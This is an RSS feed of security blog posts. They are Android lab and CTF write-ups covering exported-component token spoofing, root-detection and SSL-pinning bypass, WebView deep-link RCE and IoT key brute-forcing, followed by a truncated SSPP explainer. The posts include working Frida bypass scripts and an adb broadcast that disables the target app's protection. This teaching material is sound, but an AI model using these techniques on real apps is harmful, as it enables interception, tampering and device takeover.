            <title><![CDATA[Think Before You Hook: Mind Mapping an Android Security Challenge]]></title>
            <link>https://medium.com/@seifabdelaal_/think-before-you-hook-mind-mapping-an-android-security-challenge-fa774a179add?source=rss-0bcd09c61940------2</link>
            <guid isPermaLink="false">https://medium.com/p/fa774a179add</guid>
            <category><![CDATA[mapts]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Seif Ahmed Abdelaal]]></dc:creator>
            <pubDate>Wed, 11 Feb 2026 13:05:33 GMT</pubDate>
            <atom:updated>2026-02-19T22:09:07.104Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*NSoiExGEwFUR_IrOeTdgYg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*-QIFQmuAcGhCiWI66_cJ3g.png" /></figure><p>When approaching Android penetration testing, most people rush to tools.</p><p>Frida.<br>ADB.<br>Dynamic hooks.</p><p>But during my attempt to solve <strong>AndroPseudoProtect: Ultimate Device Security from 8kSec</strong>, I discovered something far more powerful than any script or runtime trick.</p><p><strong>A mind map.</strong></p><p>Instead of immediately trying to bypass protections, I forced myself to slow down, open the APK in <strong>JADX</strong>, and draw how the application actually worked.</p><ul><li>Who talks to whom?<br>Where is the decision point?<br>What input controls the security behavior?<br>Where is the secret coming from?</li></ul><p>And surprisingly…</p><p>The moment the logic became visible on paper, the vulnerability almost revealed itself.</p><p>In this article, I will walk you through how building a structured mental model of the application helped me identify the weak link in its <strong>IPC</strong> design and ultimately gain control over the protection mechanism.</p><p>In <strong>AndroPseudoProtect: Ultimate Device Security</strong>, the concept is straightforward.</p><p>The app asks for access to the device storage, and once granted, it offers two main buttons:</p><p>Start Security → encrypt user files</p><p>Stop Security → decrypt them back</p><p>From a user’s perspective, this looks like a simple protection mechanism.<br>Press a button, and your sensitive data becomes unreadable to other applications.</p><p>Press another button, and everything returns to normal.</p><p>Behind the scenes, however, things are rarely that simple.</p><p>Buttons in Android applications usually do not perform the heavy work themselves.<br>They send messages to other components responsible for executing the real logic.</p><p>So the real question becomes:</p><ul><li>Who is actually performing the encryption?<br>Who decides whether the request is valid?<br>And can someone else send the same request?</li></ul><p>These are the questions that started shaping my mind map.</p><p>This is where <strong>JADX</strong> entered the scene.</p><p>Instead of guessing, I wanted proof.<br>So I opened the APK and started tracing what really happens when the user presses Stop Security.</p><p>The button itself wasn’t stopping anything.</p><p>It was simply sending an <strong>Intent.</strong></p><p>That intent was received by a <strong>BroadcastReceiver</strong>, and the receiver’s job was to forward the request to a <strong>Service</strong> where the actual encryption or decryption logic lived.</p><p>So my mind map evolved:</p><p><strong>Button → Intent → Receiver → Service → Action</strong></p><p>So far, everything looked normal.</p><p>But then I noticed something that completely changed the game.</p><p>Both the Receiver and the Service were marked as:</p><pre>android:exported=&quot;true&quot;</pre><p>I paused.</p><p>Because this single line means something very powerful.</p><p>It means the application is not the only entity allowed to talk to those components.</p><p>Not just the button inside the app.</p><p>Not just the legitimate UI.</p><p>Any application on the device can send the same intent.</p><p>A different button.<br>A background process.<br>Malware.<br>An attacker.</p><p>Anyone.</p><p>And at that exact moment, a light bulb went on in my head</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kmIgTw2wvXrOSa5oyNNRGw.png" /></figure><p>For a moment, I was excited.</p><p>Exported components?<br>Great.</p><p>That should mean I can simply craft the same intent and trigger the service myself.</p><p>Easy win… right?</p><p>Not really.</p><p>Once I dug deeper into the implementation of the Service, I realized the developers had added an additional protection layer.</p><p>The service wasn’t blindly accepting requests.</p><p>It expected something extra inside the intent.</p><p><strong>A token.</strong></p><p>And not just any token.</p><p>The value provided by the caller had to match a secret generated internally by the application itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dZctfOoF4fCcOWjHqCWJRQ.png" /></figure><p>So now the situation changed completely.</p><p>Yes, the components were exported.<br>Yes, anyone could send an intent.</p><p>But without the correct token, nothing would happen.</p><p>At this point, my mind map expanded.</p><p>Tracing the code further led me to a utility class responsible for generating this value.</p><p>Inside it, I found something interesting.</p><p>The token was not hardcoded.<br>It was not stored in a file.<br>It was not received from a server.</p><p>It was produced by a native method at runtime.</p><p>Which meant one thing.</p><p>Static analysis would not reveal it.</p><p>If I wanted that secret…</p><p>I would have to watch the application while it was running.</p><p>And that’s when I knew it was time to move from reading code to observing behavior.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M6Liz_9pXOGoXPceu1t-_Q.png" /></figure><p>At this stage, the mission was clear.</p><p>I didn’t need to reverse the native library.<br>I didn’t need to decrypt anything manually.</p><p>The static analysis had already given me the most valuable clue:</p><p>the exact function responsible for generating the real token.</p><p>So instead of breaking the mechanism…</p><p>I decided to observe it.</p><p>And that’s where <strong>Frida</strong> became the perfect partner.</p><p>Thanks to the static analysis, I already knew:</p><ul><li>the class name</li><li>the method name</li><li>and where it was called</li></ul><p>So writing the hook became trivial.</p><p>My JavaScript didn’t attack the application.</p><p>It simply stood at the door and waited for the Token.</p><pre>Java.perform(function () {<br>  var SecurityUtils = Java.use(&quot;com.eightksec.andropseudoprotect.SecurityUtils&quot;);<br><br>  // Hook native method via Java wrapper<br>  SecurityUtils.getSecurityToken.implementation = function () {<br>    var t = this.getSecurityToken(); // calls the original native implementation<br>    console.log(&quot;[+] TOKEN =&gt; &quot; + t);<br>    return t;<br>  };<br><br>  console.log(&quot;[*] Hook installed on SecurityUtils.getSecurityToken()&quot;);<br>});</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g_ErC-SgsoQtl4hWagoF8Q.png" /></figure><p>Now I had everything I needed.</p><p>At this point, the challenge was no longer about finding the vulnerability — the mind map already exposed the weak link.</p><p>It became a simple engineering task:</p><p>combine what I learned from static analysis<br>with what I extracted at runtime.</p><p>From <strong>static analysis</strong>, I already had the blueprint:</p><ul><li>The receiver component that listens for security actions (via an intent-filter)</li><li>The package name of the victim application</li><li>The receiver class name (the exact target)</li><li>The action string for STOP_SECURITY</li><li>The exact extra key name expected by the service (the token parameter)</li></ul><p>From <strong>dynamic analysis,</strong> I had the missing piece:</p><ul><li>The real runtime token value.</li></ul><p>And that meant I could now craft the same message the app sends internally — but from the outside.</p><p>Because the intent-filter lives on a BroadcastReceiver, a broadcast was the correct delivery mechanism.</p><pre>adb shell am broadcast -n com.eightksec.andropseudoprotect/.SecurityReceiver -a com.eightksec.andropseudoprotect.STOP_SECURITY --es security_token 8ksec_S3cr3tT0k3n_D0N0tSh4r3</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*caN8b1nxOqgFWi9Jqj6QzA.png" /></figure><p>Up until now, I used ADB to demonstrate the attack.</p><p>But let’s pause for a second and think about something more realistic.</p><p>What if ADB wasn’t involved at all?</p><p>What if another application, already installed on the same device, performed the exact same logic in the background?</p><p>No cables.<br>No debugging.<br>No technical interface.</p><p>Just software talking to software.</p><p>The user opens the application.</p><p>They press:</p><p>Start Security</p><p>They see the confirmation.<br>They trust the protection.<br>They walk away believing their files are safe.</p><p>Meanwhile…</p><p>A different application on the device — one that understands the protocol — can simply send the same request using the correct parameters.</p><p>The original security app will happily accept it.</p><p>Because from its point of view, everything looks legitimate.</p><p>Correct action.<br>Correct structure.<br>Correct token.</p><p>So it executes.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fa774a179add" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to Perform a MITM Attack on Android by Bypassing Root Detection and SSL Pinning]]></title>
            <link>https://medium.com/@seifabdelaal_/how-to-perform-a-mitm-attack-on-android-by-bypassing-root-detection-and-ssl-pinning-c0cbc3469133?source=rss-0bcd09c61940------2</link>
            <guid isPermaLink="false">https://medium.com/p/c0cbc3469133</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Seif Ahmed Abdelaal]]></dc:creator>
            <pubDate>Mon, 09 Feb 2026 13:13:10 GMT</pubDate>
            <atom:updated>2026-02-14T16:55:07.572Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*0ipYm4qpeLC_KvwvHsrZog.png" /></figure><h3><strong>Introduction</strong></h3><p>Mobile applications often rely on multiple defensive layers such as root detection and SSL pinning to prevent attackers from inspecting or modifying sensitive network communications.</p><p>But what happens when those protections can be neutralized?</p><p>In this article, we will solve the <strong>FactsDroid: Your Universal Knowledgebase lab from 8ksec.</strong></p><p>Rather than simply demonstrating a bypass, the goal is to build a structured attacker mindset and a repeatable methodology to:</p><ul><li>Defeat root detection</li><li>Bypass SSL pinning</li><li>Intercept encrypted traffic</li><li>Tamper with API responses in real time</li></ul><p>A common misconception is that bypassing SSL pinning is just a technical trick used during testing.<br>In reality, if an attacker can successfully intercept and manipulate supposedly secure HTTPS communications, the entire trust model of the application collapses.</p><p>This means fake data, altered transactions, phishing content, or malicious payloads can be injected without modifying the APK itself.</p><p>Throughout this walkthrough, I will show you how a chain of small weaknesses can lead to full control over what the application believes is legitimate server data.</p><h3><strong>Tools Used</strong></h3><p>To keep the scenario realistic, the attack was performed using minimal tooling:</p><ul><li>A real Android device</li><li>ADB for device communication</li><li>Frida for runtime manipulation</li><li>Burp Suite as the interception proxy</li></ul><p>No APK patching, recompilation, or static modification was required.</p><h3><strong>Beating Root Detection</strong></h3><p>The very first obstacle appeared immediately after launching the application.<br>The app detected that the device was rooted and completely refused to continue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*HWEHW6sjbjWF1v7wyKikXA.png" /></figure><p>Without performing any reverse engineering, we can still build a logical assumption.</p><p>Somewhere inside the application, there must be a function responsible for checking whether the device is rooted.</p><p>That function likely evaluates several conditions such as:</p><ul><li>Presence of su binary</li><li>Known root management applications</li><li>Writable system paths</li><li>Suspicious build tags</li></ul><p>If one of those checks succeeds, the function simply returns:</p><p><strong>rooted = true</strong></p><p>The application then relies on this boolean value to decide whether execution should continue.</p><p>This is where <strong>Frida</strong> becomes extremely powerful.</p><p>Instead of modifying the APK or patching the code, Frida allows us to intervene during runtime.</p><p>Think of it as standing between the application and its own logic.</p><p>We don’t remove root detection.<br>We don’t delete security code.</p><p>We simply say:</p><p>“Whatever the result is… return FALSE.</p><p>To visualize what happened, imagine we wrote this small Frida JavaScript snippet that runs inside the app process at runtime.</p><p>The goal is not to remove root detection logic, but to intercept the function responsible for the decision and force it to return a safe value.</p><pre>Java.perform(function () {<br>  console.log(&quot;[+] FactsDroid root bypass (targeted) loaded&quot;);<br><br>  // 1) Build.TAGS contains &quot;test-keys&quot; -&gt; make it safe<br>  try {<br>    var Build = Java.use(&quot;android.os.Build&quot;);<br>    // Some devices expose TAGS as a field; we can try to overwrite it.<br>    // If overwrite fails (final field), we&#39;ll still handle other checks below.<br>    try {<br>      Build.TAGS.value = &quot;release-keys&quot;;<br>      console.log(&quot;[+] Patched Build.TAGS -&gt; release-keys&quot;);<br>    } catch (e) {<br>      console.log(&quot;[!] Could not patch Build.TAGS (ok), will rely on other hooks&quot;);<br>    }<br>  } catch (e) {<br>    console.log(&quot;[!] Build hook failed: &quot; + e);<br>  }<br><br>  // 2) File.exists() for known root paths -&gt; return false<br>  var File = Java.use(&quot;java.io.File&quot;);<br>  var rootPaths = [<br>    &quot;/system/app/Superuser.apk&quot;,<br>    &quot;/sbin/su&quot;,<br>    &quot;/system/bin/su&quot;,<br>    &quot;/system/xbin/su&quot;,<br>    &quot;/data/local/xbin/su&quot;,<br>    &quot;/data/local/bin/su&quot;,<br>    &quot;/system/sd/xbin/su&quot;,<br>    &quot;/system/bin/failsafe/su&quot;,<br>    &quot;/data/local/su&quot;,<br>    &quot;/su/bin/su&quot;<br>  ];<br><br>  File.exists.implementation = function () {<br>    var p = this.getAbsolutePath();<br>    for (var i = 0; i &lt; rootPaths.length; i++) {<br>      if (p === rootPaths[i]) {<br>        console.log(&quot;[+] Bypass File.exists: &quot; + p);<br>        return false;<br>      }<br>    }<br>    return this.exists();<br>  };<br><br>  // 3) Runtime.exec([&quot;/system/bin/getprop&quot;,&quot;ro.debuggable&quot;]) -&gt; force &quot;0&quot;<br>  var Runtime = Java.use(&quot;java.lang.Runtime&quot;);<br><br>  function isGetpropDebuggable(cmdArray) {<br>    try {<br>      if (!cmdArray || cmdArray.length &lt; 2) return false;<br>      return (cmdArray[0].toString().indexOf(&quot;getprop&quot;) !== -1) &amp;&amp;<br>             (cmdArray[1].toString() === &quot;ro.debuggable&quot;);<br>    } catch (e) { return false; }<br>  }<br><br>  // Hook exec(String[])<br>  Runtime.exec.overload(&#39;[Ljava.lang.String;&#39;).implementation = function (cmd) {<br>    if (isGetpropDebuggable(cmd)) {<br>      console.log(&quot;[+] Bypass getprop ro.debuggable&quot;);<br>      // Return a process that outputs &quot;0\n&quot; instead of real getprop output<br>      // Easiest trick: run &quot;sh -c &#39;echo 0&#39;&quot;<br>      return this.exec(Java.array(&#39;java.lang.String&#39;, [&quot;sh&quot;, &quot;-c&quot;, &quot;echo 0&quot;]));<br>    }<br>    // 4) Runtime.exec([&quot;su&quot;]) -&gt; make it fail<br>    if (cmd &amp;&amp; cmd.length === 1 &amp;&amp; cmd[0].toString() === &quot;su&quot;) {<br>      console.log(&quot;[+] Bypass exec su&quot;);<br>      throw Java.use(&quot;java.io.IOException&quot;).$new(&quot;Permission denied&quot;);<br>    }<br>    return this.exec(cmd);<br>  };<br><br>  // Also hook exec(String) just in case<br>  Runtime.exec.overload(&#39;java.lang.String&#39;).implementation = function (cmd) {<br>    if (cmd.indexOf(&quot;getprop ro.debuggable&quot;) !== -1) {<br>      console.log(&quot;[+] Bypass getprop ro.debuggable (string)&quot;);<br>      return this.exec(&quot;sh -c &#39;echo 0&#39;&quot;);<br>    }<br>    if (cmd.trim() === &quot;su&quot;) {<br>      console.log(&quot;[+] Bypass exec su (string)&quot;);<br>      throw Java.use(&quot;java.io.IOException&quot;).$new(&quot;Permission denied&quot;);<br>    }<br>    return this.exec(cmd);<br>  };<br><br>  console.log(&quot;[+] Hooks installed&quot;);<br>});</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pNtvbkQ-q9rN2-NzWebJhA.png" /></figure><h3><strong>SSL Pinning Blocks the Proxy</strong></h3><p>After bypassing root detection, the application finally launched and behaved normally.</p><p>The next step was to intercept the app’s network traffic through <strong>Burp Suite</strong> acting as a proxy, so we could inspect and tamper with API requests and responses.</p><p>However, the moment the app attempted to send a request to the backend, it refused.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/409/1*KCQduHr7O21Sde1V4VBbfA.png" /></figure><p>So why did the application refuse to communicate when Burp Suite was placed in the middle?</p><p>The answer is simple:</p><p><strong>SSL Pinning</strong>.</p><p>The purpose of SSL pinning is to make sure the application talks only to its legitimate backend server.</p><p>Instead of trusting any certificate approved by the device, the application already knows in advance what it expects to see.</p><p>Every time the app sends a request, it compares the certificate presented during the TLS handshake with a pre-defined trusted identity embedded within the application.</p><p>This identity might be:</p><ul><li>A specific certificate</li><li>A public key</li><li>Or a trusted CA</li></ul><p>If they match → connection continues<br>If not → connection is terminated</p><p>At this moment, We are blocked because the application is actively defending its trust boundary.</p><p><strong>But remember what happened with root detection?</strong></p><p><strong>The app trusted a decision.</strong></p><p><strong>And we took control of that decision at runtime.</strong></p><p><strong>What if we could do the same thing here?</strong></p><p>For this lab, I used the following open-source Frida script by NVISOsecurity: <a href="https://github.com/NVISOsecurity/disable-flutter-tls-verification/blob/main/disable-flutter-tls.js">https://github.com/NVISOsecurity/disable-flutter-tls-verification/blob/main/disable-flutter-tls.js</a></p><p>It is designed specifically to disable Flutter’s TLS verification by locating the verification logic inside Flutter’s networking stack<br>(BoringSSL / handshake verification) and neutralizing it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GY130xQZnxwAZovTekW4Cw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4BMuyGaXvUZWeDWSBqSZYw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qnv5NXF0p6-dyLsX0SrSJg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c0cbc3469133" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How an Exported Broadcast Receiver in Android Can Lead to Full Remote Control of Smart Home IoT…]]></title>
            <link>https://medium.com/@seifabdelaal_/how-an-exported-broadcast-receiver-in-android-can-lead-to-full-remote-control-of-smart-home-iot-f5aed0a7aff9?source=rss-0bcd09c61940------2</link>
            <guid isPermaLink="false">https://medium.com/p/f5aed0a7aff9</guid>
            <category><![CDATA[iot]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Seif Ahmed Abdelaal]]></dc:creator>
            <pubDate>Fri, 14 Nov 2025 19:04:10 GMT</pubDate>
            <atom:updated>2025-11-19T08:59:49.355Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>How an Exported Broadcast Receiver in Android Can Lead to Full Remote Control of Smart Home IoT Devices</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CMLD2rNRPEk6K_ek0rBfTQ.png" /></figure><blockquote><strong>Disclaimer:</strong><br>Any code snippets or payloads shown in this article are for educational purposes only and do not reflect real-world production code. The examples are derived from the “IOT Connect” challenge in the Mobile Hacking Lab environment, which is intentionally designed for safe security testing and learning.</blockquote><p>In this case study, we’re analyzing an Android application designed to<br>control smart home IoT devices.<br>During reverse engineering, we discovered an <strong>exported BroadcastReceiver</strong> responsible for handling incoming broadcast intents.</p><p>This receiver expects an intent containing a specific parameter<br>(referred to as key). Once received, the value is passed to a function called check_Key() which validates whether the key is correct.</p><p>If the key is accepted, the application automatically grants elevated permissions — allowing the sender to remotely turn on or off any IoT device connected through the app, without requiring authentication or user interaction.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*5s3CD5Owg86CrupnTGJI9g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YPXC-h15ibrcFRvKBehbJg.png" /></figure><p>When digging deeper into the function responsible for validating the received key, we identified a critical design flaw in how authentication was implemented.</p><p>The function check_key() decrypts a hard-coded Base64-encoded string using a key derived directly from the integer value supplied in the broadcast intent. After decryption,<br>the output is compared to the string &quot;master_on&quot;.<br>If the decrypted value matches that string, the application grants full control over the connected IoT devices.</p><p>This implementation introduces several security weaknesses:</p><ul><li><strong>The encrypted value is hard-coded inside the application</strong>, meaning anyone with access to the APK can extract it using tools like JADX or APKTool.</li><li>The encryption algorithm used is <strong>AES in ECB mode (AES/ECB/PKCS5Padding)</strong> — a known insecure mode unsuitable for real-world authentication or secret handling.</li><li>The key used for decryption is generated from a simple integer (int key), making the number space extremely small and <strong>brute-forceable within seconds</strong>.</li><li>There is <strong>no attempt limit, no authentication, and no protection against repeated requests</strong>, meaning an attacker can repeatedly send crafted broadcast intents until the correct key is found.</li><li>Worst of all, because the BroadcastReceiver handling this logic is exported, this entire validation mechanism is accessible from <strong>outside the application</strong>, making it trivially exploitable.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-KzjvvVK6lU234l6w9nLzQ.png" /></figure><p>In short, the application treats encryption as an authentication mechanism — but encryption alone does not equal access control.<br> This flawed logic allows an attacker to bypass the app’s intended security checks and obtain privileged access using either brute-force or static analysis.</p><p>So instead of manually guessing values or interacting with the app repeatedly, I wrote a short Python script to automate the process.<br>Within less than a second, the script iterated through all possible numeric values, decrypted the hard-coded string, and identified the correct key</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kaKj-DmP7zT_PJvOfxf-iQ.png" /><figcaption>Python Script to Crack the Key</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*bF7A35YQI58FWj6AG0ZCYA.png" /></figure><p>Now that I had the valid key, the situation became even worse from a security perspective.</p><p>I no longer needed to interact with the vulnerable app directly.<br>From any external Android application, I could simply craft and send a broadcast intent targeting the exported BroadcastReceiver that contained this logic. By including the recovered key in the intent, the receiver would silently accept it, pass it to check_key(), and treat me as if I were a trusted controller.</p><p><strong>The result?<br></strong>With a single broadcast from an external app, I could remotely toggle any smart home device connected to the application — effectively gaining full control over the entire IoT environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2v_z5mGvNTB9F3h32DXpfw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*seEcq3EoOR0rcszTkcB3QA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f5aed0a7aff9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How a Weakly Protected WebView and a Deep Link Can Lead to Remote Code Execution (RCE)]]></title>
            <link>https://medium.com/@seifabdelaal_/how-a-weakly-protected-webview-and-a-deep-link-can-lead-to-remote-code-execution-rce-ee7474141de3?source=rss-0bcd09c61940------2</link>
            <guid isPermaLink="false">https://medium.com/p/ee7474141de3</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[mobile-security]]></category>
            <category><![CDATA[mobilehackinglab]]></category>
            <dc:creator><![CDATA[Seif Ahmed Abdelaal]]></dc:creator>
            <pubDate>Fri, 07 Nov 2025 20:38:30 GMT</pubDate>
            <atom:updated>2025-11-10T11:55:00.171Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong>Disclaimer:</strong><br>Any code snippets or payloads shown in this article are for educational purposes only and do not reflect real-world production code. The examples are derived from the “Guess Me” challenge in the Mobile Hacking Lab environment, which is intentionally designed for safe security testing and learning.</blockquote><p>In this example, the application contains a WebView component embedded within an activity that is publicly accessible.<br>Upon reverse-engineering the app, we observed that this activity is exposed to external applications via an intent filter, and can be triggered using <strong>deep links</strong>.<br>This means any app (or even ADB) can launch this WebView activity by sending a crafted intent with a specific URI scheme and host — effectively allowing untrusted inputs to reach the WebView.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*CHpOpixYXVw-rub948RtGA.png" /></figure><p>By digging deeper into the code, we found that the developer attempted to implement a few validation checks to restrict what URLs could be loaded through the deep link.<br>The isValidDeepLink() function ensures that the incoming intent must use either the mhl:// or https:// scheme and that the host equals mobilehackinglab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0gcmy2H-H6U6AS10QCeggw.png" /></figure><p>At first glance, this looks like a reasonable security measure — but as we’ll see next, this validation is quite superficial and can be easily bypassed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V4lppxVur_fdnpxfR4xKaw.png" /></figure><p>As shown in the screenshot above, I was able to successfully bypass the URL validation logic and load content from evil.com directly inside the vulnerable WebView activity.</p><p>So far, this behavior could be classified as a classic <strong>open redirect</strong> vulnerability, where user-controlled input in the deep link is used to redirect the WebView to an external site.</p><p>However, by digging a bit deeper into the underlying code, we quickly realize that the situation goes far beyond a simple redirect — and into the territory of remote code execution (RCE).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*DMf2sDY1tfJ31JNWqDQauw.png" /></figure><p>Upon further inspection of the WebviewActivity code, we noticed two critical configurations:</p><p>The developer explicitly enabled JavaScript execution inside the WebView using <strong>setJavaScriptEnabled(true</strong>), which allows any loaded webpage to run JavaScript code natively within the app’s context.</p><p>More importantly, the developer registered a JavaScript interface using <strong>addJavascriptInterface(…)</strong>, which effectively creates a bridge between the JavaScript code running in the loaded web page and the app’s internal Java methods.</p><p>This was the real mistake — exposing a native interface <strong>(AndroidBridge)</strong> to arbitrary web content, potentially allowing attacker-controlled JavaScript to directly invoke internal application logic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YioHTTGbT5BV5YxBpk1mOA.png" /></figure><p>Taking a closer look at the JavaScript interface class, we discovered a method named <strong>getTime()</strong> that accepts a string parameter and directly passes it to <strong>Runtime.getRuntime().exec(…).</strong></p><p>This means that any JavaScript code running inside the WebView — including attacker-controlled HTML — can execute arbitrary system commands on the device, using nothing but a deep link and a malicious web page.</p><h3>SO,</h3><p>At this point, the attacker can simply host a malicious HTML page containing a single line of JavaScript — one that interacts with the exposed getTime() method via the AndroidBridge interface.</p><p>The JavaScript payload can pass any shell command as a parameter — from simple reconnaissance like id or uname -a, to full reverse shell execution</p><p>Finally, all the attacker has to do is trick the application into opening that page inside its own WebView, using a crafted deep link that bypasses the developer’s weak validation logic.<br>With that, the attack chain is complete — and the app unknowingly executes commands on behalf of the attacker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*04lLrXFgnwbzUxw2W_6-HQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*1VVEPXNSNgMTjScwmxmh8g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EhL9CKhGDTlxyDfflwihRg.png" /><figcaption>Replace ‘date’ with ‘id’</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hoOhbFUZ6iQInQYYJmDOKw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ee7474141de3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Server-Side Parameter Pollution from a Different Perspective]]></title>
            <link>https://medium.com/@seifabdelaal_/server-side-parameter-pollution-from-a-different-perspective-46bb18369557?source=rss-0bcd09c61940------2</link>
            <guid isPermaLink="false">https://medium.com/p/46bb18369557</guid>
            <category><![CDATA[sspp]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[server-side-attacks]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Seif Ahmed Abdelaal]]></dc:creator>
            <pubDate>Sat, 20 Sep 2025 16:29:13 GMT</pubDate>
            <atom:updated>2025-09-30T14:37:19.832Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*mGe2msjGU-mADliqXtxOCg.png" /></figure><p>Server-Side Parameter Pollution (<strong>SSPP</strong>) often arises in systems where internal APIs are not meant to be accessed from the internet directly. These APIs are designed to be called by the server itself — not by external users.</p><p>This scenario is especially common in microservices architecture, where the backend is composed of multiple internal services that communicate with each other using APIs. In such environments, if user input is not properly sanitized, attackers may inject additional parameters into requests made by the server, potentially altering the behavior of internal API calls.</p><p>This vulnerability can occur in various parts of the HTTP request — such as query parameters in GET requests, body parameters in POST requests, or even in headers.</p><p>Essentially, any place where user input is accepted and later used or extended by the server to construct a request to an internal API could be a potential injection point. If the server appends its own parameters to the user input without proper validation, attackers might exploit this to override or manipulate the final request.</p><p>As an attacker, you’re not looking to tamper with just any user input — you’re specifically targeting inputs that the server is likely to extend or complete on its own.</p><p>For example, the server might take a parameter you provide and append hidden or internal parameters before forwarding the request to an internal API. If you can anticipate the structure of these internal parameters, you might be able to inject duplicates or override them, leading to server-side parameter pollution.</p><h3><strong>Before diving into the vulnerability itself, let’s first understand what a URL fragment is</strong></h3><p>A URL fragment is the portion of a URL that comes after the <strong>#</strong> symbol.<br>For example, in the URL <a href="https://example.com/page#section1">https://example.com/page#section1</a>, the #section1 part is the fragment.</p><p>This fragment is typically used by browsers to navigate to a specific section within the same page, acting as an anchor.<br>However, <strong>it’s crucial to note that the fragment is never sent to the server as part of the HTTP request.</strong><br>It is handled entirely on the client side by the browser. This behavior becomes particularly important when crafting or analyzing attacks, especially in cases like Server-Side Parameter Pollution.</p><p><strong>Consider the following URL:</strong></p><p><a href="https://example.com/search?user=soly&amp;isAdmin=true#debug">https://example.com/search?user=soly&amp;isAdmin=true#debug</a></p><p><strong>Here’s how each part breaks down:</strong></p><p><a href="https://example.com/search">https://example.com/search</a> → This is the path (what resource you’re trying to access).</p><p>?user=soly&amp;isAdmin=true → These are query parameters. They are sent to the server and can influence backend logic.</p><p>#debug → This is the fragment. It is not sent to the server. The browser uses it to navigate or manipulate content on the page after it’s loaded.</p><p><strong>When intercepting requests in Burp Suite, you’ll notice that the fragment (#something) never appears in the HTTP request.</strong></p><h3><strong>Step-by-step processing:</strong></h3><p>1- The user clicks the URL.<br>(<a href="https://example.com/search?user=soly&amp;isAdmin=true#debug">https://example.com/search?user=soly&amp;isAdmin=true#debug</a>)</p><p>2- The browser parses the URL and separates the fragment part #debug.</p><p>3- The browser sends this HTTP request to the server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*BWQdfnGxH8MuQf0KK6siwg.png" /></figure><p>4- The server processes only the query parameters (user=soly, isAdmin=true). The fragment #debug is never seen or processed by the server.</p><p>5- After the page is loaded, the browser scrolls to the element with id=”debug” if it exists on the page.</p><h3>The same example, but from a client-side code perspective:</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*mwAWaY0BB991GtFgS8mn-g.png" /><figcaption>A simple HTML code that demonstrates the general concept of fragments</figcaption></figure><h3>The following is a deliberately vulnerable backend implementation using Flask, showcasing a Server-Side Parameter Pollution (SSPP) vulnerability for demonstration and educational purposes.</h3><figure><img alt="" 